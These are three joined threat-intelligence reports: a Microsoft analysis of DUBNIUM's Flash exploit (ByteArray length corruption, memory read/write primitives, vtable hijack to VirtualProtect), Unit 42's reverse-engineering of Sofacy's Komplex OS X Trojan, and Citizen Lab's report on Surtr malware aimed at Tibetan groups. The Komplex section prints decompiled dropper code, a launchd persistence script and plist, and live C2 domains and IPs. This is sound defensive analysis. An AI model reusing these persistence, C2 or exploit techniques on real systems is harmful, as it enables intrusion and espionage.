3/12 http://www.adobe.com/devnet/air/articles/faster-byte-array-operations.html Figure 5 Out-of-bounds access code using li32 instructions We compared the bytecode level AVM2 instructions with the low-level x86 JIT instructions.
Figure 6 shows the comparisons and our findings.
Basically two li32 accesses are made and the JIT compiler optimizes length check for both li32 instructions and generates only one length check.
The problem is that integer overflow happens and the length check code becomes faulty and allows bypasses of ByteArray length restrictions.
This directly ends with out-of- bounds RW access of the process memory.
Historically, fast memory implementation suffered range check vulnerabilities (CVE-2013-5330, CVE-2014-0497).
The Virus Bulletin 2014 paper by Chun Feng and Elia Florio, Ubiquitous Flash, ubiquitous exploits, ubiquitous mitigation (PDF download), provides more details on other old but similar vulnerabilities.
4/12 https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-FengFlorio.pdf Figure 6 Length check confusion Using this out-of-bounds vulnerability, the exploit tries to locate heap-sprayed objects.
These are the last part of memory sweeping code.
We counted 95 IF/ELSE statements that sweep through memory range from ba0x121028 to ba0x17F028 (where ba is the base address of fast memory), which is 0x5E000 (385,024) byte size.
Therefore, these memory ranges are very critical for this exploits successful run.
5/12 Figure 7 End of memory sweeping code Figure 8 shows a crash point where the heap spraying fails.
The exploit heavily relies on a specific heap layout for successful exploitation, and the need for heap spraying is one element that makes this exploit unreliable.
Figure 8 Out-of-bounds memory access This exploit uses a corrupt ByteArray.length field and uses it as RW primitives (Figure 9).
Figure 9 Instruction si32 is used to corrupt ByteArray.length field After ByteArray.length corruption, it needs to determine which ByteArray is corrupt out of the sprayed ByteArrays (Figure 10).
6/12 Figure 10 Determining corrupt ByteArray RW primitives The following shows various RW primitives that this exploit code provides.
Basically these extensive lists of methods provide functions to support different application and operating system flavors.
Figure 11 RW primitives For example, the read32x86 method can be used to read an arbitrary processs memory address on x86 platform.
The cbIndex variable is the index into the bc array which is an array of the ByteArray type.
The bc[cbIndex] is the specific ByteArray that is corrupted through the fast memory vulnerability.
After setting virtual address as position member, it uses the readUnsignedInt method to read the memory value.
7/12 Figure 12 Read primitive The same principle applies to the write32x86 method.
It uses the writeUnsignedInt method to write to arbitrary memory location.
Figure 13 Write primitive Above these, the exploit can perform a slightly complex operation like reading multiple bytes using the readBytes method.
Figure 14 Byte reading primitive Function object virtual function table corruption Just after acquiring the processs memory RW ability, the exploit tries to get access to code execution.
This exploit uses a very specific method of corrupting a Function object and using the apply and call methods of the object to 8/12 achieve shellcode execution.
This method is similar to the exploit method that was disclosed during the Hacking Team leak.
Figure 15 shows how the Function objects virtual function table pointer (vptr) is acquired through a leaked object address, and low-level object offset calculations are performed.
The offsets used here are relevant to the Adobe Flash Players internal data structure and how they are linked together in the memory.
Figure 15 Resolving Function object vptr address This leaked virtual function table pointer is later overwritten with a fake virtual function tables address.
The fake virtual function table itself is cloned from the original one and the only pointer to apply method is replaced with the VirtualProtect API.
Later, when the apply method is called upon the dummy function object, it will actually call the VirtualProtect API with supplied arguments  not the original empty call body.
The supplied arguments are pointing to the memory area that is used for temporary shellcode storage.
The area is made read/write/executable (RWX) through this method.
9/12 Figure 16 Call VirtualProtect through apply method Once the RWX memory area is reserved, the exploit uses the call method of the Function object to perform further code execution.
It doesnt use the apply method because it no longer needs to pass any arguments.
Calling the call method is also simpler (Figure 17).
Figure 17 Shellcode execution through call method This shellcode-running routine is highly modularized and you can actually use API names and arguments to be passed to the shellcode-running utility function.
This makes shellcode building and running very extensible.
Again, this method has close similarity with the code found with the Adobe Flash exploit leaked during the Hacking Team information leak in July 2015.
10/12 Figure 18 Part of shellcode call routines Note that the exploits method of using the corrupted Function object virtual table doesnt work on Microsoft Edge anymore as it has additional mitigation against these kinds of attacks.
ROP-less shellcode With this exploit, shellcode is not just contiguous memory area, but various shellcodes are called through separate call methods.
As you can see from this exploit, we are observing more exploits operate without return-oriented programming (ROP) chains.
We can track these calls by putting a breakpoint on the native code that performs the ActionScript call method.
For example, the disassembly in Figure 19 shows the code that calls the InternetOpenUrlA API call.
Figure 19 InternetOpenUrlA 1st download This call only retrieves some portion of a portable executable (PE) files header, but not the whole file.
It will do another run of the InternetOpenUrlA API call to retrieve the remaining body of the payload.
This is most likely a trick to confuse 11/12 analysts who will look for a single download session for payloads.
Figure 20 InternetOpenUrlA 2nd download Conclusion With the analysis of the Adobe Flash Player-targeting exploit used by DUBNIUM last December, we learned they are using highly organized exploit code with extensive support of operating system flavors.
However, some functionalities for some operating system are not yet implemented.
For example, some 64-bit support routines had an empty function inside them.
The way the shellcode is authored makes the exploit code very extensible and flexible as changing shellcode behavior is extremely simple  as much as just changing AS3 code lines.
The actual first stage payload download is not just performed by a single download but are split into two.
They also use the ByteArray.length corruption technique to achieve process memory RW access.
There was a hardening upon this object just after this incident and ByteArray now has better sanity checks.
Therefore, the same technique would not work as straightforwardly as in this exploit for the versions after the hardening.
The exploit relies heavily on heap-spraying techniques, and this is one major element that makes this exploit unreliable.
This is a good example of how mitigation undermines an exploits stability, and how it increases exploit development cost.
Due to the exploitation method it relies on for the Function object corruption, with Microsoft Edge you have additional protection over this new exploit method.
Jeong Wook Oh MMPC 12/12 Reverse-engineering DUBNIUMs Flash-targeting exploit Vulnerability exploitation Adobe Flash Player version checks Heap spraying and vulnerability triggering RW primitives Function object virtual function table corruption ROP-less shellcode Conclusion
Sofacys Komplex OS X Trojan researchcenter.paloaltonetworks.com /2016/09/unit42-sofacys-komplex-os-x-trojan/ By Dani Creus , Tyler Halfpop and Robert Falcone Unit 42 researchers identified a new OS X Trojan associated with the Sofacy group that we are now tracking with the Komplex tag using the Palo Alto Networks AutoFocus threat intelligence platform.
The Sofacy group, also known as APT28, Pawn Storm, Fancy Bear, and Sednit, continues to add to the variety of tools they use in attacks in this case, targeting individuals in the aerospace industry running the OS X operating system.
During our analysis, we determined that Komplex was used in a previous attack campaign targeting individuals running OS X that exploited a vulnerability in the MacKeeper antivirus application to deliver Komplex as a payload.
Komplex shares a significant amount of functionality and traits with another tool used by Sofacy  the Carberp variant that Sofacy had used in previous attack campaigns on systems running Windows.
In addition to shared code and functionality, we also discovered Komplex command and control (C2) domains that overlapped with previously identified phishing campaign infrastructures associated with the Sofacy group.
Komplex Binder Komplex is a Trojan that the Sofacy group created to compromise individuals using OS X devices.
The Trojan has multiple parts, first leading with a binder component that is responsible for saving a second payload and a decoy document to the system.
We found three different versions of the Komplex binder, one that was created to run on x86, another on x64, and a third that contained binders for both x86 and x64 architectures.
We found the following samples of the Komplex binder: 1 2 3 4 5 6 2a06f142d87bd9b66621a30088683d6fcec019ba5cc9e5793e54f8d920ab0134: Mach-O 64- bit executable x86_64 c1b8fc00d815e777e39f34a520342d1942ebd29695c9453951a988c61875bcd7: Mach-O executable i386 cffa1d9fc336a1ad89af90443b15c98b71e679aeb03b3a68a5e9c3e7ecabc3d4: Mach-O universal binary with 2 architectures Regardless of architecture, these initial binders all save a second embedded Mach-O file to /tmp/content.
This file is the Komplex dropper used in the next stage of installation and to maintain persistence.
After saving the Komplex dropper, these binders would then save a legitimate decoy document to the system and open them using the Preview application to minimize suspicion of any malicious activity.
Figure 1 shows the main function found in one of the initial droppers that saves and opens a PDF decoy, as well as executes another executable file saved as /tmp/content.
1/11 http://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ http://researchcenter.paloaltonetworks.com/2016/06/unit42-new-sofacy-attacks-against-us-government-agency/ http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/09/Sofacy_1.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/09/Sofacy_2.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/09/Sofacy_3.png 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 int _main(int arg0, int arg1) var_28  [[NSAutoreleasePool alloc] init] var_38  [NSSearchPathForDirectoriesInDomains(0xf, 0x1, 0x1) objectAtIndex:0x0] var_40  [NSString stringWithFormat:/roskosmos_2015-2025.pdf, var_38] var_48  [NSString stringWithFormat:SetFile -a E /roskosmos_2015-2025.pdf, var_38] var_50  [NSString stringWithFormat:rm -rf /roskosmos_2015-2025.app, var_38] var_58  [NSString stringWithFormat:open -a Preview.app /roskosmos_2015- 2025.pdf, var_38] [[NSData dataWithBytes:_joiner length:0x20f74] writeToFile:/tmp/content atomically:0x1] system([var_50 UTF8String]) system(chmod 755 /tmp/content) [[NSData dataWithBytes:_pdf length:0x182c82] writeToFile:var_40 atomically:0x1] system([var_48 UTF8String]) var_70  [[NSTask alloc] init] [var_70 setLaunchPath:/tmp/content] [var_70 launch] [var_70 waitUntilExit] system([var_58 UTF8String]) remove(arg1) [var_28 release] return 0x0  Figure 1 Main function within the Komplex binder The binder component saves a decoy document named roskosmos_2015-2025.pdf to the system and opens it using the Preview application built into OS X.
Figure 2 shows a portion of the 17 page decoy document.
This document is titled       2016  2025  and describes the Russian Federal Space Programs projects between 2016 and 2025.
We do not have detailed targeting information regarding the  Sofacy groups attack campaign delivering Komplex at this time however, based on the contents of the decoy document, we believe that the target is likely associated with the aerospace industry.
2/11 Figure 2 Decoy document opened by Komplex binder showing document regarding the Russian Space Program Komplex Dropper The Komplex dropper component is saved to the system as /tmp/content (SHA256: 96a19a90caa41406b632a2046f3a39b5579fbf730aca2357f84bf23f2cbc1fd3) and is responsible for installing a third executable to the system and setting up persistence for the third executable to launch each time the OS X operating system starts.
This dropper also provided the basis for the name Komplex, which is seen in several folder paths that were included within the Mach-O file, such as /Users/kazak/Desktop/Project/komplex.
The Komplex dropper is fairly straightforward from a functional perspective, as it contains all of its functionality within its _main function.
The _main function (Figure 3) accesses data within three variables named _Payload_1, _Payload_2 and _Payload_3, and writes them to three files on the system.
3/11 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 int _main(int arg0, int arg1) var_38  [[NSAutoreleasePool alloc] init] var_40  [NSData dataWithBytes:_Payload_1 length:0x15c1c] var_48  [NSData dataWithBytes:_Payload_2 length:0x201] var_50  [NSData dataWithBytes:_Payload_3 length:0x4c] system(mkdir -p /Users/Shared/.local/  /dev/null ) system(mkdir -p /Library/LaunchAgents/  /dev/null) [var_40 writeToFile:/Users/Shared/.local/kextd atomically:0x1] [var_48 writeToFile:/Users/Shared/com.apple.updates.plist atomically:0x1] [var_50 writeToFile:/Users/Shared/start.sh atomically:0x1] system(cp /Users/Shared/com.apple.updates.plist HOME/Library/LaunchAgents/  /dev/null) remove(/Users/Shared/com.apple.updates.plist) system(chmod 755 /Users/Shared/.local/kextd) system(chmod 755 /Users/Shared/start.sh) var_58  [[NSTask alloc] init] [var_58 setLaunchPath:/Users/Shared/start.sh] [var_58 launch] [var_58 waitUntilExit] remove(/Users/Shared/start.sh) remove(arg1) [var_38 release] return 0x0  Figure 3 Komplex Droppers main function that drops three files to the system and runs a shell script The _main function writes the data within _Payload_1, _Payload_2, and _Payload_3 variables to the following files, respectively: 1.
/Users/Shared/.local/kextd (SHA256: 227b7fe495ad9951aebf0aae3c317c1ac526cdd255953f111341b0b11be3bbc5) 2.
/Users/Shared/com.apple.updates.plist (SHA256: 1f22e8f489abff004a3c47210a9642798e1c53efc9d6f333a1072af4b11d71ef) 3.
/Users/Shared/start.sh (SHA256: d494e9f885ad2d6a2686424843142ddc680bb5485414023976b4d15e3b6be800) The shell script saved to /Users/Shared/start.sh calls the system command launchctl to add a plist entry into launchd to automatically execute the Komplex payload each time the system starts.
Figure 4 shows the contents of the start.sh script that sets up persistence for the payload.
1 2 /bin/sh launchctl load -w /Library/LaunchAgents/com.apple.updates.plist Figure 4 Contents of the start.sh shell script that calls launchctl The start.sh script loads com.apple.updates.plist, which sets the properties of the Komplex payload that is executed from /Users/Shared/.local/kextd at system start up courtesy of the RunAtLoad parameter.
Figure 5 shows the contents of the com.apple.updates.plist file loaded into launchd.
4/11 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 xml version1.0 encodingUTF-8?
DOCTYPE plist PUBLIC -//Apple//DTD PLIST 1.0//EN http://www.apple.com/DTDs/PropertyList-1.0.dtd plist version1.0 dict keyLabel/key stringcom.apple.updates/string keyProgramArguments/key array string/Users/Shared/.local/kextd/string /array keyKeepAlive/key false/ keyRunAtLoad/key true/ keyStandardErrorPath/key string/dev/null/string keyStandardOutPath/key string/dev/null/string /dict /plist Figure 5 Contents of the com.apple.updates.plist file showing how the dropper achieves persistence Komplex Payload The ultimate purpose of the aforementioned components is to install and execute the Komplex payload.
The dropper component saves the payload to /Users/Shared/.local/kextd (SHA256: 227b7fe495ad9951aebf0aae3c317c1ac526cdd255953f111341b0b11be3bbc5) and ultimately executes the payload.
The payload begins by conducting an anti-debugging check to see if it is being debugged before proceeding with executing its main functionality, which can be seen in the AmIBeingDebugged function in Figure 6.
The AmIBeingDebugged function uses the sysctl function to check to see if a specific P_TRACED flag is set, which signifies that the process is being debugged.
A particularly interesting part of this function is that it is very similar to the function provided by Apple to its developers in a guide created in 2004 titled Detecting the Debugger.
This is not the first time the Sofacy groups malware authors have obtained techniques from publicly available sources, as demonstrated in the use of the Office Test Persistence Method that they obtained from a blog posted in 2014.
5/11 https://developer.apple.com/library/content/qa/qa1361/_index.html http://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/ http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/ 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 int AmIBeingDebugged()() var_8  __stack_chk_guard getpid() if ((((sysctl(0x1, 0x4, var_2A8, 0x288, 0x0, 0x0)  0x0 ?
0x1 : 0x0)  0x1)  0x1 0xff)  0x0) rax  __assert_rtn(AmIBeingDebugged, /Users/user/Desktop/LoaderWinApi/LoaderWinApi/main.mm, 0x21, junk  0)  else var_2C1  (0x0  0x800)  0x0 ?
0x1 : 0x0 if (__stack_chk_guard  var_8) rax  var_2C1  0x1  0xff  else rax  __stack_chk_fail()   return rax  Figure 6 The AmIBeingDebugged function used as an anti-analysis technique After determining that it is not running in a debugger, the payload performs an anti-analysis/sandbox check by issuing a GET request to Google, to check for Internet connectivity.
The payload will sleep until it receives a response from the HTTP requests to Google, which means Komplex will only communicate to its C2 servers in Internet enabled environments.
Figure 7 shows the connectedToInternet function that confirms whether the payload is able to communicate with http://www.google.com before carrying out its functionality.
1 2 3 4 5 6 7 8 9 10 11 int connectedToInternet()() if ([NSData dataWithContentsOfURL:[NSURL URLWithString:http://www.google.com]]  0x0) var_1  0x1  else var_1  0x0  rax  var_1  0x1  0xff return rax  Figure 7 The connectedToInternet function testing for an active Internet connection After confirming an active Internet connection, the Komplex payload begins carrying out its main functionality.
The Komplex payload uses an 11-byte XOR algorithm to decrypt strings used for configuration and within C2 communications, including the C2 domains themselves.
Figure 8 shows a screenshot of Komplexs custom string decryption algorithm, along with the XOR key used to decrypt strings within the payload.
6/11 Figure 8 11-byte XOR algorithm used by Komplex to decrypt configuration strings The algorithm seen in Figure 8 decrypts the strings seen in Table 1, which the payload references using the associated variable names.
The payload uses these decrypted strings for a variety of purposes, such as command parsing and C2 server locations.
Variable Name Decrypted String FILE_NAME FileName PATHTOSAVE PathToSave START_BLOCK_FILE [file] BLOCK_EXECUTE Execute BLOCK_DELETE Delete END_BLOCK_FILE [/file] SERVERS appleupdate[.
]org, apple-iclouds[.
]net, itunes-helper[.
]net MAC mac CONFIG config GET_CONFIG 1 FILES file LOG log OLD_CONFIG 2 ID id 7/11 TOKEN h8sn3vq6kl EXTENSIONS .xml .pdf, .htm, .zip Table 1 Strings decrypted by Komplex and their referenced name The Komplex payload uses the SERVERS variable to obtain the location of its C2, which it communicates with using HTTP POST requests.
The payload generates a URL to communicate with its C2 server that has the following structure: /random path/random string.chosen extension/?random stringencrypted token The chosen extension portion of the URL is chosen at random from the list of legitimate file extensions: .xml, .zip, .htm and .pdf.
The encrypted token within the parameters of the URL is base64 encoded ciphertext created from the string h8sn3vq6kl.
The ciphertext of the string is generated via a custom algorithm that uses a random 4-byte integer as a key that is modified by XOR with the static value 0xE150722.
The payload also encrypts the data sent within the POST request using the same algorithm and encodes it using base64.
Figure 9 below shows an example HTTP POST sent from the payload to its C2 server.
Figure 9 Beacon sent from Komplex to C2 containing system information within the HTTP POST data The HTTP POST data in Figure 9 is comprised of information that the malware collects from the infected system.
The system information sent to the C2 includes data such as the system version, username, and process list, which is gathered within a function named getOsInfo within the InfoOS class (Figure 10).
8/11 1 2 3 4 5 6 7 8 9 10 11 12 int InfoOS::getOsInfo()() var_38  rdi var_18  [[NSProcessInfo processInfo] operatingSystemVersionString] var_20  NSUserName() var_28  InfoOS::getProcessList() var_30  operator new[](strlen(var_28)  0x200) sprintf(var_30, Mac OS X - s s\nUser name - s\n\t\t\t\t\t\tProcess list :\n\ns, [var_18 UTF8String], InfoOS::bitOS(), [var_20 UTF8String], var_28) rax  var_30 return rax  Figure 10 getOsInfo function within Komplex that gathers system information for C2 beacon The Sofacy C2 server will respond to this HTTP request with encrypted data that the payload will decrypt using the same custom algorithm used to encrypt the POST data.
The Komplex payload will parse the C2 response for the following strings: [file] and [/file], FileName, PathToSave, Shell, Execute, and Delete.
The Delete action does nothing more than delete a file specified by PathToSave/FileName, whereas the Execute action involves running the following system commands before executing the specified file: 1 2 mkdir -p ltPathToSavegt ampgt /dev/null chmod 755 ltPathToSavegt/ltFileNamegt ampgt /dev/null The payload will treat [file] and [/file] as delimiters that specify the data that the payload should write to a specified file, which allows the threat actor to download additional files to the system.
Lastly, the payload can execute commands on the compromised system specified within the Shell field, which the payload will execute and then send results back to the C2.
Connections to Sofacy and Previous Attacks.
Code Overlaps While reverse engineering the Komplex payload, we came across a few code overlaps that we believed were worth exploring.
First, we noticed striking similarities between the Komplex payload and the traits and behavior of an OS X Trojan discussed in a BAE Systems blog titled NEW MAC OS MALWARE EXPLOITS MACKEEPER.
According to this blog post, an OS X Trojan was delivered via a vulnerability in the MacKeeper application.
The nameless OS X Trojan uses an 11-byte XOR algorithm to decrypt an embedded configuration, which has all of the same variable names and values as the Komplex sample (see Table 1).
The algorithm used to encrypt and decrypt the network traffic, as well as all static elements of the network communications (composition of URL, structure of HTTP data, command parsing procedure, etc.)
discussed in the blog post are the exact same as seen in the Komplex payload.
These overlaps suggest that the Trojan delivered by the MacKeeper vulnerability was in fact the Komplex Trojan.
The second code overlap ties the Komplex Trojan to Sofacys Carberp variant, which we have analyzed in previous research efforts.
Even though Komplex was created to run on OS X and Sofacys Carberp variant was developed to run on Windows, they share many commonalities, including: Same URL generation logic using random path values, a random file extension and encrypted token Same file extensions used in C2 URL that are listed within the binaries in the same order Same algorithm used to encrypt and decrypt the token in the URL and HTTP POST data (Carberp key is modified using value 0xAA7D756 whereas Komplex uses 0xE150722) 9/11 http://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html http://researchcenter.paloaltonetworks.com/2016/06/unit42-new-sofacy-attacks-against-us-government-agency/ Very similar command handling, including parsing specifically for Execute, Delete, [file], [/file], FileName, and PathToSave.
Checks for Internet connectivity by connecting to google.com Uses an 11-byte XOR key to decrypt strings within the configuration In addition to these common traits, we found a Sofacy Carberp variant (SHA256: 638e7ca68643d4b01432f0ecaaa0495b805cc3cccc17a753b0fa511d94a22bdd) using the same TOKEN value of h8sn3vq6kl within its C2 URL, as observed in Komplex payloads.
Based on these observations, we believe that the author of Sofacys Carberp variant used the same code, or at least the same design, to create the Komplex Trojan.
A benefit of retaining many of the same functionalities within the Windows and OS X Trojans is that it would require fewer alterations to the C2 server application to handle cross-platform implants.
Infrastructure Overlap While Komplexs C2 domain appleupdate[.
]org does not appear to have any previously known activity associated with it, both the apple-iclouds[.
]net and itunes-helper[.
]net domains have direct ties to Sofacy activity.
The apple- iclouds[.
]net domain is mentioned within a PwC Tactical Intelligence Bulletin that discussed a phishing campaign conducted by the Sofacy group.
The itunes-helper[.
]net domain is associated with separate activity discussed in Trend Micros blog titled Looking Into a Cyber-Attack Facilitator in the Netherlands that included research on hosting providers used by Pawn Storm (Sofacy).
The domain appleupdate[.
]org does have one interesting correlation point, specifically involving the IP 185.10.58[.
]170 that resolved this domain between April 2015 through April 2016.
Researchers at BAE Systems provided Unit 42 the Komplex payload delivered through the exploitation of MacKeeper (Dropper SHA256: da43d39c749c121e99bba00ce809ca63794df3f704e7ad4077094abde4cf2a73 and Payload SHA256: 45a93e4b9ae5bece0d53a3a9a83186b8975953344d4dfb340e9de0015a247c54), which used the IP address 185.10.58[.
]170 within its configuration as a C2 server.
This infrastructure overlap further strengthens the connection between the Komplex payload we discovered with the prior campaign using MacKeeper for delivery.
Conclusion The Sofacy group created the Komplex Trojan to use in attack campaigns targeting the OS X operating system  a move that showcases their continued evolution toward multi-platform attacks.
The tool is capable of downloading additional files to the system, executing and deleting files, as well as directly interacting with the system shell.
While detailed targeting information is not currently available, we believe Komplex has been used in attacks on individuals related to the aerospace industry, as well as attacks leveraging an exploit in MacKeeper to deliver the Trojan.
The Komplex Trojan revealed a design similar to Sofacys Carberp variant Trojan, which we believe may have been done in order to handle compromised Windows and OS X systems using the same C2 server application with relative ease.
While Unit 42 continues to research and track this threat, Palo Alto Networks customers are protected via the following: WildFire correctly identifies known Komplex executables as malicious IPS signature 14442 Sofacy.
Gen Command And Control Traffic can detect and block outbound C2 requests generated by the Komplex Trojan.
Customers can track this Trojan via the Komplex tag in AutoFocus.
IOCs: Hashes: 10/11 http://pwc.blogs.com/files/tactical-intelligence-bulletin---sofacy-phishing.pdf http://blog.trendmicro.com/trendlabs-security-intelligence/looking-into-a-cyber-attack-facilitator-in-the-netherlands/ https://autofocus.paloaltonetworks.com//tag/Unit42.Komplex 2a06f142d87bd9b66621a30088683d6fcec019ba5cc9e5793e54f8d920ab0134 c1b8fc00d815e777e39f34a520342d1942ebd29695c9453951a988c61875bcd7 cffa1d9fc336a1ad89af90443b15c98b71e679aeb03b3a68a5e9c3e7ecabc3d4 96a19a90caa41406b632a2046f3a39b5579fbf730aca2357f84bf23f2cbc1fd3 227b7fe495ad9951aebf0aae3c317c1ac526cdd255953f111341b0b11be3bbc5 45a93e4b9ae5bece0d53a3a9a83186b8975953344d4dfb340e9de0015a247c54 C2 Locations: appleupdate[.
]org apple-iclouds[.
]net itunes-helper[.
]net 185.10.58.170 11/11 Sofacys Komplex OS X Trojan Komplex Binder Komplex Dropper Komplex Payload Connections to Sofacy and Previous Attacks.
Conclusion IOCs:
Research Projects Publications Archives Teaching GLA2010 News In the News Newsletter Events Lab About People Opportunities Contact Surtr: Malware Family Targeting the Tibetan Community August 2, 2013 Tagged: Malware, targeted threats, Tibet Categories: Reports and Briefings, Research News by Katie Kleemola and Seth Hardy Background As part of our ongoing study into targeted attacks on human rights groups and civil society organizations, the Citizen Lab analyzed a malicious email sent to Tibetan organizations in June 2013.
The email in question purported to be from a prominent member of the Tibetan community and repurposed content from a community mailing list.
Attached to the email were what appeared to be three Microsoft Word documents (.doc), but which were trojaned with a malware family we call Surtr.1 All three attachments drop the exact same malware.
We have seen the Surtr malware family used in attacks on Tibetan groups dating back to November 2012.
Delivery Mechanism While the malicious attachments appear to be DOC files due to their file extension, they are actually RTFs crafted to exploit a vulnerability in Microsoft Word: CVE-2012-0158.
This particular vulnerability was first exploited in early April 2012 and a patch was released by Microsoft on April 10, 2012.
Currently, the sample is detected as malicious by 34 percent of antivirus (AV) engines on VirusTotal (VT).
The malicious attachment is created using a shared template that we have seen used against multiple Tibetan groups.
This template was created in March 2013 and, instead of specifically using the vulnerable ActiveX controls described in the vulnerability description, it utilizes the Chartspace Office Web Component.
This component either suffers from the same vulnerability or uses one of the named ActiveX controls resulting in the attacker being able to execute malicious code.
Figure 1: Hexdump of the malicious attachment Search Although CVE-2012-0158 was first published and used in the wild in April 2012, samples using this template were only initially detected by three AV engines (on VT).
Therefore, while a third of AV engines had a detection signature for CVE-2012-0158 as late as April 2013, it was possible to design a document using a year old vulnerability that was recognized as malicious by very few AV products.
This number has since risen and it is currently being detected by 34 percent of the AV products listed on VT.
This vulnerability highlights the need to keep both operating systems and applications up to date as well as to exercise vigilance concerning links and email attachments.
Malicious attachments with this template all use a similar dropper which originally drops the payload to the temporary file directory.
Payload Surtr creates either a new explorer or iexplore process and injects itself into this new process using CreateRemoteThread function.
It also creates the following folders: ALL USERS/Application Data/Microsoft/Windows/123 ALL USERS/Application Data/Microsoft/Windows/Burn ALL USERS/Application Data/Microsoft/Windows/LiveUpdata_Mem It creates multiple copies of the payload including in both the Burn and LiveUpdata_Mem folders.
The copy in the Burn folder is called [VICTIM COMPUTER NAME].dll and there are three copies in the LiveUpdata_Mem folder whose names consist of 6 random alphanumeric characters which are then appended with .dll, _Fra.dll and _One.dll.
These copies will differ from the original payload dropped in the TEMP folder by filling the resource section with varying amounts of 00 bytes.
This also results in the malware having a much larger file size (30-50mb) possibly in an attempt to evade antivirus heuristics.
Surtr connects to a command and control server (C2) and downloads a stage two component to ALL USERS/Application Data/Microsoft/Windows/Burn/_[VICTIM COMPUTER NAME].log.
This particular sample connects to internet.3-a.net on port 9696.
In May 2012, internet.3-a.net resolved to the same IP (184.82.123.143) as android.uyghur.dnsd.me, which is a C2 used in Android malware attacks that targeted the Tibetan community as previously documented by the Citizen Lab.
The stage two component that was downloaded in this particular case has an internal name of x86_GmRemote.dll, however we have seen an alternate stage two used with the name Remote.dll as well.
Our analysis in this post focuses on the GmRemote variation as it has been seen in multiple attacks.
Surtrs capabilities include listing of file directories and contents on the victim computer and any USB drives connected to a victim machine, viewing web cache, executing remote commands and logging keystrokes.
In order to store temporary information, Surtr creates the following folders: ALL USERS/Application Data/Microsoft/Windows/MpCache ALL USERS/Application Data/Microsoft/Windows/nView_DiskLoydb ALL USERS/Application Data/Microsoft/Windows/nView_KeyLoydb ALL USERS/Application Data/Microsoft/Windows/nView_skins ALL USERS/Application Data/Microsoft/Windows/UsbLoydb For example, in nView_DiskLoydb, a file called FileList.db that contains file and directory listings will be placed and nView_KeyLoydb will contain text files with keylogger output.
The keylogger output is disguised by adding a constant to the ordinal value of the character.
This data can then be sent to the C2.
It is compressed using zlib DEFLATE so the network traffic is not human readable without decompression.
It can also download additional malware onto the victim computer, which can provide attackers with further abilities like accessing the victim computers webcam or microphone.
In particular, we have seen Surtr used in conjunction with the Gh0st RAT derived LURK0 malware.
For persistency, Surtr adds a key to the registry to ensure it runs when the infected computer is restarted.
It also stores its C2 information and a campaign code in the registry.
Depending on the configuration, Surtr will either create multiple registry keys in Software\Microsoft\Windows Media in HKU (hkey users) with text data or a single key called XC consisting of binary data.
These are usually xor encrypted with a key of 01.
Figure 2: Encrypted data in XC key Figure 3: Decrypted data (note: e0 25 is 0x25e0 which is 9696 in hex) Other Samples  Variations We have seen a large number of similar samples sent to Tibetan groups that use the same stage two (GmRemote) and communicate with the following C2s: dtl.dnsd.me, dtl.eatuo.com, dtl6.mooo.com and tbwm.wlyf.org.
These C2s were also used in previous attacks documented in an earlier Citizen Lab post on LURK0 malware targeting the Tibetan community.
One particular sample (md5: ad9e5f79585eb62bc40b737e98bfd62e) which connects to C2 domain dtl6.mooo.com (which resolved to the same IP as the other dtl domains mentioned above) on port 6178 was seen to download LURK0 malware after the initial Surtr infection.
This LURK0 sample had the campaign code ZQ6 that connects to C2 domain tbwm.wlyf.org on port 3103.
This domain also resolved to the same IP as the dtl domains.
We have also found reports of other Surtr stage 2 (GmRemote) samples that have campaign codes which suggest they may be targeted at commercial and government targets.
The first sample was found via ThreatExpert.
It uses campaign code kmlg-0308, and connects to a C2 at flyoutside.com.
This domain and eight others are registered to toucan6712163.com: flyoutside.com 67.198.227.162 52showfly.com 112.121.169.189 mydreamfly.com 112.121.186.60 dreaminshy.com 119.42.147.101 52flyfeel.com 119.42.147.101 eyesfeel.com 180.178.63.10 (now registered to lilinuo.cn) outsidefly.com 74.55.57.85 showflyfeel.com 199.119.101.40 51aspirin.com not resolving Searching for more samples in Virus Total Intelligence (VTI) using domains and other identifying features reveals four related files: 7fbdd7cb8b46291e944fcecd5f97d135  connects to C2 domain www.flyoutside.com, campaign code kmlg-0409tb 58ff38412ebbedb611a3afe4b3dbd8b0  connects to C2 IP 112.121.182.149 (similar to above), campaign code lly-0311 81bc8974967e1c911b107a9a91e3178b  connects to C2 domain www.paulfrank166.2waky.com (192.198.85.102), campaign code 0201- 2116 44758b9a7a6cafd1b8d1bd4c773a2577  connects to C2 domain www.flyoutside.com (same as the first sample found on ThreatExpert), campaign code lg-0109 Most of these samples have campaign codes that suggest commercial targets.
However, we do not have information about where these samples were submitted from, so the target sector and victims cannot be confirmed.
A second GmRemote sample was found via the web, called Trojan/Subxe.89E1 by Anchiva.
This sample connects to google.djkcc.com and uses campaign code in1102.
Other subdomains under djkcc.com include: airforce.djkcc.com domain.djkcc.com google.djkcc.com indianembassy.djkcc.com mailnic.djkcc.com (MailNIC is an Indian email site at the National Informatics Centre) microsoft.djkcc.com rediffmail.djkcc.com (Rediffmail is an Indian email site) While we do not have information about what victims these samples target, the campaign code, C2 domain, and related subdomains give some possible indications.
One additional find via VTI is a GmRemote sample internally named: GmKeyBoradServer_DLL.dll (MD5 e7e1c69496ad7cf093945d3380a2c6f4).
It exports functions (GmFunctionType, GmInitPoint, GmMyInitPoint, GmRecvPoint, GmShutPoint, GmVerSion) that are referenced in other GmRemote samples, although none of them have any real content.
These additional samples suggest that Surtr is being used to target groups beyond the Tibetan community and is possibly being utilized by multiple threat actors.
Conclusions and Recommendations The attacks we have observed that use the Surtr malware family are another example of the persistent targeted malware campaigns the Tibetan community faces.
The specific attack reported in this post demonstrates that attackers are actively monitor mailing lists and discussion groups used by the Tibetan community and repurpose the content for use in targeted malware attacks.
